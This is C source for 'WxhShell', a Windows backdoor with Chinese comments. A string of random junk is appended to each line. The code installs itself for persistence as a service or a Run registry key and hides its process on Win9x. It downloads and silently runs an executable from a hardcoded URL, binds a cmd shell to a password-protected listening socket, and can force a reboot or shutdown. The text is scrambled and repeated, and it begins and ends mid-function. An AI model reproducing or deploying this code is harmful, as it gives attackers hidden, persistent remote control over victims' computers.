  case 'd': { 8Q +TE;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :hi$}xHa  
    if(Boot(SHUTDOWN)) 'fX er!L}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F}\[eFf[  
    else { CVi<~7Am\  
    closesocket(wsh); 79y'Ja+`j  
    ExitThread(0); I  *1#  
    } wN$uX#W|  
    break; KS8\F0q  
    } R2'C s  
  // 获取shell g9! d pP  
  case 's': { %9cqJ]S  
    CmdShell(wsh); r]xdhR5  
    closesocket(wsh); s' _$j$1  
    ExitThread(0); "F04c|oR<X  
    break; FUH *]U  
  }  z, :+Oc  
  // 退出 sCuQBZ h  
  case 'x': { a'c9XG}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7?)m(CFy  
    CloseIt(wsh); H74NU_   
    break; N7%=K9  
    } d8 3+6d  
  // 离开 _dz:\v  
  case 'q': { ok8JnQC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (}~ 1{C@  
    closesocket(wsh); P2s^=J0@  
    WSACleanup(); &fh.w]\  
    exit(1); K1CMLX]m  
    break; sz){uOI  
        } q|m#IVc  
  } 0R.Gjz*Q  
  } z2$F Yn Q  
Nj"_sA p  
  // 提示信息 ZzSJm+&'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `1DU b7<  
} c|8KT  
  } P1vF{e  
~0:$G?fz  
  return; *NKC \aV`0  
} Y>c5:F;  
.f[\G*   
// shell模块句柄 h?M'7Lti  
int CmdShell(SOCKET sock) :z}~U3,JE  
{ K .c6Rg  
STARTUPINFO si; B]CS2LEqh  
ZeroMemory(&si,sizeof(si)); o%QhV6(F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,5%aP%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V1AEjh  
PROCESS_INFORMATION ProcessInfo; 4{1c7g  
char cmdline[]="cmd"; GZ-n! ^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aa'0EU:  
  return 0; -#:Y+"'  
} EC:x  ,i  
\Mh4X`<e  
// 自身启动模式 KG7X8AaK#  
int StartFromService(void) $]`'Mi  
{ H znI R  
typedef struct qugPs(uQ  
{ 4l#T_y  
  DWORD ExitStatus; Sv CK;$:  
  DWORD PebBaseAddress; w2RESpi  
  DWORD AffinityMask; 9 ^=t@  
  DWORD BasePriority; gGceK^#  
  ULONG UniqueProcessId; 1yY'hb,0  
  ULONG InheritedFromUniqueProcessId; QB oZCLv  
}   PROCESS_BASIC_INFORMATION; d60Fi#3d  
a93d'ZE-X  
PROCNTQSIP NtQueryInformationProcess; 0VWCm( f-  
C=pPI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^.B `Z{Jb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ()rx>?x5  
J_)z:`[yE  
  HANDLE             hProcess; ! S$oaCxM  
  PROCESS_BASIC_INFORMATION pbi; Ve')LY<  
9X*eE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P"[l86:  
  if(NULL == hInst ) return 0; zrWq!F*-V\  
 K{7S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )x5$io   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "m\UqQGX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lMI ix0sSj  
d(dw]6I6  
  if (!NtQueryInformationProcess) return 0; g~WNL^GGS  
b{ubp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S|Ij q3  
  if(!hProcess) return 0; NUO,"Bqq  
FcbA)7dD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2e D\_IW  
U3dR[*  
  CloseHandle(hProcess); ^FyvaO  
R*c0NJF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IQIb\OUo!v  
if(hProcess==NULL) return 0; xaq=?3QOH  
It,n +A  
HMODULE hMod; T(fR/~:z?  
char procName[255]; LQ&d|giA  
unsigned long cbNeeded; 5)o-]S>  
{/[?YTDU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3K;b~xg`nw  
]!S)O|_D[  
  CloseHandle(hProcess); *j|Tm7C  
8-l)TTP&.  
if(strstr(procName,"services")) return 1; // 以服务启动  C.TCDl  
cB9KHqB  
  return 0; // 注册表启动 $dWl A<u  
} 0e5-\a  
>t6'8g"T  
// 主模块 7;#dX~>@{  
int StartWxhshell(LPSTR lpCmdLine) OYRR'X.E  
{ vN6]6nUOiT  
  SOCKET wsl; ~Hs]}Xo  
BOOL val=TRUE; h0EGhJs  
  int port=0; m6ZbYF-7W  
  struct sockaddr_in door; ZJJl944  
,uD*FSp>  
  if(wscfg.ws_autoins) Install();   } k%\  
v!v0,?b*  
port=atoi(lpCmdLine); B}xo|:f!zj  
{Z{NH:^  
if(port<=0) port=wscfg.ws_port; yK2*~T,6@  
7{/:,  
  WSADATA data; rF j)5~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '<E8< bi  
A?Hjz%EcW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Wx\"wlJ7.3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x /Ky: Ky  
  door.sin_family = AF_INET; G cLp"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NByN}e  
  door.sin_port = htons(port); g)G7 kB/<p  
SO jDtZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~uD;_Y=u)r  
closesocket(wsl); dvdBRrf  
return 1; DEeL 48{R  
} !NY^(^   
5Vm}<8{  
  if(listen(wsl,2) == INVALID_SOCKET) { QCY{D@7T  
closesocket(wsl); So]FDd  
return 1; 9+;f1nV  
} nO7o7bc  
  Wxhshell(wsl); y&I|m  
  WSACleanup(); #$z-]i  
!JQ~r@j  
return 0; ;<GTtt# D  
_"t.1+-K  
} %TggNU,  
}oxaB9r  
// 以NT服务方式启动 ";Xbr;N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gm8Tm$fY  
{  $.]t1e7s  
DWORD   status = 0; ,,j=RG_  
  DWORD   specificError = 0xfffffff; )A+j  
s^X/ Om  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %T*+t"\)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u~T$F/]k>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xm[r#IA  
  serviceStatus.dwWin32ExitCode     = 0; <!nWiwv  
  serviceStatus.dwServiceSpecificExitCode = 0; ->25$5#  
  serviceStatus.dwCheckPoint       = 0; 3g "xm  
  serviceStatus.dwWaitHint       = 0; pnw4QQ9  
S^"e5n2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z00:59M4  
  if (hServiceStatusHandle==0) return; {%k;V ~  
/!uBk3x:  
status = GetLastError(); 5dEO_1q %  
  if (status!=NO_ERROR) (tz]!Aa{s  
{ z4`n%~w1b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KX}dn:;(3  
    serviceStatus.dwCheckPoint       = 0; ZV^J5wYE  
    serviceStatus.dwWaitHint       = 0; Fmle|  
    serviceStatus.dwWin32ExitCode     = status; 78BuD[<X-  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2o5< nGn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?4?jG3p  
    return; Mz. &d:  
  } fJ lN'F7  
MAo,PiYb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5GxM?%\  
  serviceStatus.dwCheckPoint       = 0; 9wJmX<Rm  
  serviceStatus.dwWaitHint       = 0; v@s`l#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;{7lc9uRj  
} _SW a3O#'  
Br^b%12ZRS  
// 处理NT服务事件,比如:启动、停止 } $c($  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S_;:iC]B  
{ aJ_Eh(cF  
switch(fdwControl) M<m64{m1  
{ R[-:-8  
case SERVICE_CONTROL_STOP: )Nd:PnA  
  serviceStatus.dwWin32ExitCode = 0; \4X{\ p<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TB[2!ZW  
  serviceStatus.dwCheckPoint   = 0; ?vNS!rY2&  
  serviceStatus.dwWaitHint     = 0; s H[34gCh;  
  { ~{!!=@6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M#2U'jy  
  } uM<+2S  
  return; jCv+m7Z  
case SERVICE_CONTROL_PAUSE: VQx-gm8}!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %4^/.) Q  
  break; > V}NG  
case SERVICE_CONTROL_CONTINUE: pr89zkYw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '^Np<  
  break; a~EEow;A  
case SERVICE_CONTROL_INTERROGATE: VQ 3&  
  break; o=2`N2AL  
}; HUI!IOh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZKTBjOa]*  
} $iJ #%&D  
r+Cha%&D  
// 标准应用程序主函数 &4iIzw`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sb5kexGxkc  
{ PS]X Lz  
2 g==98>cg  
// 获取操作系统版本 3yX^R^`  
OsIsNt=GetOsVer(); <Y6>L};  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \Rt  
7NqV*  
  // 从命令行安装 tqf-,BLh  
  if(strpbrk(lpCmdLine,"iI")) Install(); NVPYv#uK  
y>1 8)8  
  // 下载执行文件 (_<n0  
if(wscfg.ws_downexe) { /qze  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .}>[ Kr  
  WinExec(wscfg.ws_filenam,SW_HIDE); >Cc$ P  
} z<=t3dj  
NFPkK?+  
if(!OsIsNt) { HWZ*Htr  
// 如果时win9x,隐藏进程并且设置为注册表启动 {IwYoRaXa  
HideProc(); m&8_i`%<  
StartWxhshell(lpCmdLine); 2yc\A3ft#  
} y +vcBuX  
else j* ?MFvwE  
  if(StartFromService()) [_Z3v,vt,  
  // 以服务方式启动 <[~M|OL9q,  
  StartServiceCtrlDispatcher(DispatchTable); IrM3Uh  
else kS!*kk*a  
  // 普通方式启动 % m$Mn x  
  StartWxhshell(lpCmdLine); j. cH,Y  
f& *E;l0  
return 0; r?7 ^@  
} O-YE6u  
BpE[9N  
?2c:|FD  
$5O&[/L  
=========================================== >8- `  
_JoA=< O!  
Yuck]?#0  
7T78S&g  
^2tCDm5  
`R;XN-  
" ;[ojwcK[ZF  
d1TG[i<J_  
#include <stdio.h> (Zkt2[E`  
#include <string.h> Yr@@ty  
#include <windows.h> }wKU=Vm  
#include <winsock2.h> g5`YUr+3?h  
#include <winsvc.h> WOoVVjMM  
#include <urlmon.h> #,C{?0!  
0KEl+  
#pragma comment (lib, "Ws2_32.lib") d7Z\  
#pragma comment (lib, "urlmon.lib") u]-$]zIH  
\!Pm^FD .  
#define MAX_USER   100 // 最大客户端连接数 yR-.OF,c  
#define BUF_SOCK   200 // sock buffer T8k oP  
#define KEY_BUFF   255 // 输入 buffer &[xJfL  
 VPzdT*g]  
#define REBOOT     0   // 重启 ZgtOy|?|  
#define SHUTDOWN   1   // 关机 wu3ZSLY  
>d |W>|8e  
#define DEF_PORT   5000 // 监听端口 14O/R3+  
R lu;l  
#define REG_LEN     16   // 注册表键长度 s RB8 jY  
#define SVC_LEN     80   // NT服务名长度 EO^0sF<  
kS>j!U(%d  
// 从dll定义API Z~<V>b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :mL.Y em*'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i[swOY z]X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S]+}Zyg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M_DkjuR  
54-x 14")  
// wxhshell配置信息 Gl(,%~F9i  
struct WSCFG { 420K fVA  
  int ws_port;         // 监听端口 +=v|kd  
  char ws_passstr[REG_LEN]; // 口令 A2 r RYzN;  
  int ws_autoins;       // 安装标记, 1=yes 0=no B _ >|Mo/  
  char ws_regname[REG_LEN]; // 注册表键名 mJHX  
  char ws_svcname[REG_LEN]; // 服务名 ]b)(=-;>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B Xp3u|t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oz--gA:g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 AY%o nY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L'(^[vR(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D!CGbP(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OXo-(HLE  
#v1 4"sZ}  
}; ,wjL3c  
W\/0&H\i  
// default Wxhshell configuration .x&>H  
struct WSCFG wscfg={DEF_PORT, X9>ujgK  
    "xuhuanlingzhe", Fc Cxr@  
    1, `*B8IT)  
    "Wxhshell", BehV :M  
    "Wxhshell", lB3X1e9  
            "WxhShell Service", D  UeT  
    "Wrsky Windows CmdShell Service", o3yZCz  
    "Please Input Your Password: ", ZsE8eD  
  1, 7u;B[qH  
  "http://www.wrsky.com/wxhshell.exe", #HML=qK~  
  "Wxhshell.exe" ;Ti?(n#M>  
    }; `|4{|X*U.  
K4~dEZ   
// 消息定义模块 Sq,x@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .%o:kq@B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NGxuwHIQ8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8LOzL,Ah  
char *msg_ws_ext="\n\rExit."; 94+#6jd e  
char *msg_ws_end="\n\rQuit."; /W;;7k  
char *msg_ws_boot="\n\rReboot..."; ck;owGl T  
char *msg_ws_poff="\n\rShutdown..."; 3N-(`[m{E  
char *msg_ws_down="\n\rSave to "; 6 J#C  
yq2Bz7P  
char *msg_ws_err="\n\rErr!"; [Z1EjeX  
char *msg_ws_ok="\n\rOK!"; Gl+}]Vn[n  
Y\lBPp0{\v  
char ExeFile[MAX_PATH]; ,QDq+93  
int nUser = 0; }-!$KR]:s  
HANDLE handles[MAX_USER]; NEvt71k  
int OsIsNt; }w$/x<Q[  
'(Pbz   
SERVICE_STATUS       serviceStatus; j_Fr3BWS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XHV+Y+VG  
1BF+sT3  
// 函数声明 0kDT:3  
int Install(void); S5;q)qz2J  
int Uninstall(void); db`<E <  
int DownloadFile(char *sURL, SOCKET wsh); t]V)3Ww  
int Boot(int flag); B $HQFdTli  
void HideProc(void); 8`+X6iZOQ  
int GetOsVer(void); SngV<J>zR  
int Wxhshell(SOCKET wsl); 0\/7[nwS  
void TalkWithClient(void *cs); ' Mg%G(3  
int CmdShell(SOCKET sock); )K}b,X`($  
int StartFromService(void); cWm.']  
int StartWxhshell(LPSTR lpCmdLine); ]uP {Sj  
R1U\/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f,$FrI,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H_ x35|"  
bF3j*bpO"  
// 数据结构和表定义 uzsR*x%s-  
SERVICE_TABLE_ENTRY DispatchTable[] = s;A]GJ  
{ YO=;)RA  
{wscfg.ws_svcname, NTServiceMain}, SU*P@?:/}  
{NULL, NULL} nC z[#t  
}; ]M_)f  
Vi]D](^!  
// 自我安装 RD~QNj9,T  
int Install(void) sQR;!-j  
{ ] O 2_&cs  
  char svExeFile[MAX_PATH]; T_r[#j  
  HKEY key; *rWE.4=&  
  strcpy(svExeFile,ExeFile); ?Hy++  
r+>9O  
// 如果是win9x系统,修改注册表设为自启动 1~j.jv$  
if(!OsIsNt) { c$p1Sovw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9"/{gf3D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NKd):>d%  
  RegCloseKey(key); v5&WW?IBQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eudPp"Km  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \HRQSfGt  
  RegCloseKey(key); y`'Ly@s  
  return 0; L%fWa2P'  
    } NvYgRf}uh  
  } 7FWf,IjcGY  
} }(gXlF  
else { UF}fmDi  
WS;3a}u  
// 如果是NT以上系统,安装为系统服务 8z@A/$T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,2u]rLxx;  
if (schSCManager!=0) y:1?~R  
{ qoOHWh&  
  SC_HANDLE schService = CreateService VGTo$RH  
  ( b\}`L"  
  schSCManager, "|f;   
  wscfg.ws_svcname, m|p}Jf!  
  wscfg.ws_svcdisp, #* w$JH  
  SERVICE_ALL_ACCESS, X]`\NNx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5^ pQ=Sgt  
  SERVICE_AUTO_START, eK]GyY/Y  
  SERVICE_ERROR_NORMAL, Z$2mVRS`c  
  svExeFile, )M1.>?b  
  NULL, K":- zS  
  NULL, XfB;^y=u8  
  NULL, 2 !{P<   
  NULL, y#r=^r]l)  
  NULL qD 2<-E&M/  
  ); K?P.1H`  
  if (schService!=0) (RGl, x:  
  { 1`b?nX  
  CloseServiceHandle(schService); 75<E0O  
  CloseServiceHandle(schSCManager); G.L4l|%W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); { Ke3  
  strcat(svExeFile,wscfg.ws_svcname); i^j{l_-JE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NmK%k jCx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 28zt.9  
  RegCloseKey(key); d d8^V_Kx  
  return 0; 5C/u`{4]Hg  
    } F*} b),  
  } 3<B{-z  
  CloseServiceHandle(schSCManager); <;M6s~  
} &u$l2hSS  
} 6Ba>l$/q  
@Yy=HV  
return 1; NH4EsV]  
} 8iq~ha$]|  
!SVW}Q=5#  
// 自我卸载 l~!#<=.  
int Uninstall(void) ^fH]Rlx  
{ ]kc]YO7i%R  
  HKEY key; P%.9g  
V5R``T p  
if(!OsIsNt) { \\)3:1X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6VRVk7"  
  RegDeleteValue(key,wscfg.ws_regname); #uKHw2N  
  RegCloseKey(key); 4ajBMgD]KG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -j<m0XUQ  
  RegDeleteValue(key,wscfg.ws_regname); m_oBV|v{  
  RegCloseKey(key); |)1"*`z  
  return 0; y=-d*E  
  } ZO:{9vt=/  
}  Q"%L  
} %xL3=4\  
else { J>x)J}:;  
:N(L7&<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0s= GM|y  
if (schSCManager!=0) n0nkv[  
{ & 9IMZAo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BYP,}yzA  
  if (schService!=0) !dGy"-i$h  
  { 1 BVivEG  
  if(DeleteService(schService)!=0) { ;z!~-ByzL  
  CloseServiceHandle(schService); 2x'JR yef  
  CloseServiceHandle(schSCManager); .b5B7 x}  
  return 0; d7P| x  
  } n8J';F =P  
  CloseServiceHandle(schService); [96|xe\s  
  } wN"irXG  
  CloseServiceHandle(schSCManager); K@%.T#  
} 6<FJ`l]U9  
} E9QNx6 2  
,odjL6u  
return 1; aZ#c_Q#gZ  
} =OTwP  
Eo)n( Z9  
// 从指定url下载文件 m &c8@-T  
int DownloadFile(char *sURL, SOCKET wsh) Fpl<2eBg4  
{ ,c}Q;eYc3  
  HRESULT hr; H#G'q_uHH  
char seps[]= "/"; PJ9JRG7j  
char *token; H?M8j] R-)  
char *file; z$H |8L  
char myURL[MAX_PATH]; naW}[y*y;  
char myFILE[MAX_PATH]; G$Z8k,g+<7  
CQ6Z[hLWF  
strcpy(myURL,sURL); k2p{<SO;  
  token=strtok(myURL,seps); GXJJOy1"!  
  while(token!=NULL) ln#Lx&r;|  
  { A.*}<  
    file=token; TE^BfAw@  
  token=strtok(NULL,seps); xs+MvXTC  
  } : !J!l u  
kQwBrb 4  
GetCurrentDirectory(MAX_PATH,myFILE); WRL &tz  
strcat(myFILE, "\\"); #W'jNX,h  
strcat(myFILE, file); >=[w{Vn'Mf  
  send(wsh,myFILE,strlen(myFILE),0); l\jf]BHX'  
send(wsh,"...",3,0); h,0mJj-ma  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `QAotSO+  
  if(hr==S_OK) jcv3ES^  
return 0; :1=mNrg  
else Jc:*X4-'  
return 1; .Mdxbs6.C  
D@FJVF7c  
} -i7W|X"  
4:5CnK  
// 系统电源模块 315Rk!{AJ  
int Boot(int flag) !2$O^ }6"  
{ \} P}H  
  HANDLE hToken; OT\[qaK  
  TOKEN_PRIVILEGES tkp; zT`LPs6T  
l^WFMeMD3a  
  if(OsIsNt) { , B h[jb`y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )# M*@e$k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ga"$_DyM  
    tkp.PrivilegeCount = 1; 2U)H2 %  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k g0Z(T:&8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'l!tQD!  
if(flag==REBOOT) { p8Ts5n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %)u5A !"  
  return 0; \c_1uDRoUn  
} ZSU;>&>%v  
else { C/tn0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -D`*$rp,  
  return 0; >& \QLo[5  
} sGc4^Z%l?  
  } n\ZDI+X  
  else { 0ppZ~}&  
if(flag==REBOOT) { #p6#,PZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5<Xq7|Jt  
  return 0; &iId<.SiJ  
} CXb)k.L   
else { IH'DCY:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >jq~5HN  
  return 0; $@7S+'Q3  
} b-;+&Rb  
} B}C"Xc  
VD<W  
return 1; P<km?\Xp(  
} -_4U+Cfmtl  
MX xRM~  
// win9x进程隐藏模块 xmT(yv,  
void HideProc(void) Ck/4h Z  
{ Ti=~ycwi  
\:'=ccf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U;LbP -{B  
  if ( hKernel != NULL ) m("! M~1  
  {  Jx[IHE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZBB^?FF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yo#&>W  
    FreeLibrary(hKernel); ]b-Z;Nce  
  } "P~0 7  
k]] (I<2  
return; F]q pDv  
} &zynfj#o  
U(3{6^>Gc  
// 获取操作系统版本 GBGGV#_q'}  
int GetOsVer(void) ?Xx,[Z&  
{ (sq4  
  OSVERSIONINFO winfo; ??CtmH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H"N o{|^<  
  GetVersionEx(&winfo); 0~<d<a -@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w q% 4'(  
  return 1; >u4%s7 v  
  else A_muuOIcI  
  return 0; YJ'h=!p}G  
} Sdy\s5  
+3(1QgYM%  
// 客户端句柄模块 KE]!7+8-  
int Wxhshell(SOCKET wsl) {*r*+}@  
{ `Jq ?+W  
  SOCKET wsh; tq8B)<(]  
  struct sockaddr_in client; 2a3h m8%U  
  DWORD myID; SYOND>E  
ik=~`3Zp0  
  while(nUser<MAX_USER) S ])Ap'E  
{ D ?1$I0=  
  int nSize=sizeof(client); xVao3+r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #Wey)DI  
  if(wsh==INVALID_SOCKET) return 1; 3U!\5Nsby  
Ig-9Y;hdmn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QU2\gAM  
if(handles[nUser]==0) np}F [v  
  closesocket(wsh); T9osueh4  
else !=;^Grv>  
  nUser++; }H&NR?Ax  
  } Tar tV3;`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (`>RwooE  
%K@D{ )r_^  
  return 0; 559znM=  
} -n?}L#4%8  
hu%UEB  
// 关闭 socket RXP0 4  
void CloseIt(SOCKET wsh) (Eq0 |"cj  
{ \Azl6`Em  
closesocket(wsh); x00"d$!  
nUser--; AkrUb$ }  
ExitThread(0); yQ?N*'}$  
} )q&=x2`  
s? @{  
// 客户端请求句柄 HF" v \  
void TalkWithClient(void *cs) a;|C51GH  
{ *Em 9R  
[ Lt1OdGl  
  SOCKET wsh=(SOCKET)cs; .iNPLz1  
  char pwd[SVC_LEN]; 8zP{Cmm  
  char cmd[KEY_BUFF]; vz</|s  
char chr[1]; qsk8#  
int i,j; *y9 iuJ}  
9&q<6TZz  
  while (nUser < MAX_USER) { O,>1GKw"\  
Q/o !&&  
if(wscfg.ws_passstr) { ;aExEgTq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D^W6Cq5\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /-TJtR4>  
  //ZeroMemory(pwd,KEY_BUFF); ?vuM'UH-  
      i=0; JhRXfIK>{  
  while(i<SVC_LEN) { 5M4mFC6  
"K5n|{#  
  // 设置超时 x48Y#"'  
  fd_set FdRead; L:"i,K#P  
  struct timeval TimeOut; eN fo8xUG  
  FD_ZERO(&FdRead); b*S :wfw  
  FD_SET(wsh,&FdRead); ,'?%z>RZm  
  TimeOut.tv_sec=8; 7^P!@o$v!  
  TimeOut.tv_usec=0; Pou-AzEP$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F2WUG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \Q7Nz2X  
R ,-y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9!zUv:;  
  pwd=chr[0]; 2siUpmX  
  if(chr[0]==0xd || chr[0]==0xa) { Gnop  
  pwd=0; !:PF |dZ  
  break; FVNxjMm,  
  } R| [mp%Q  
  i++; Y [k%<f  
    } B- =*"H?q  
-(V]knIF  
  // 如果是非法用户,关闭 socket PLf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p1 > D  
} rC V&& 09  
9oKRn c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JG @bl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rT9<_<  
uUu]JDdz  
while(1) { ?W-J2tgss{  
[0U!Y/?6lA  
  ZeroMemory(cmd,KEY_BUFF); ;A7HEx  
fz#e4+oH  
      // 自动支持客户端 telnet标准   R h zf.kp  
  j=0; vU0j!XqE  
  while(j<KEY_BUFF) { OQ;'Xo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oaf!\ z}  
  cmd[j]=chr[0]; I9O!CQCTt  
  if(chr[0]==0xa || chr[0]==0xd) { +O>!x#)&"  
  cmd[j]=0; s1. YH?A;  
  break; S G|``}OA  
  } Tu2BQ4\[  
  j++; 2mN>7Tj:  
    } WW82=2rJ9  
zim]3%b*A;  
  // 下载文件 ^Lr)STh  
  if(strstr(cmd,"http://")) { Y+ 75}]B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k_?xi OSh  
  if(DownloadFile(cmd,wsh)) xtMN<4#E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xzTTK+D@  
  else N+%E=D>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fw? ;Y%  
  } &^$dHr6v  
  else { 6!7LgM%4  
zBD ?O!  
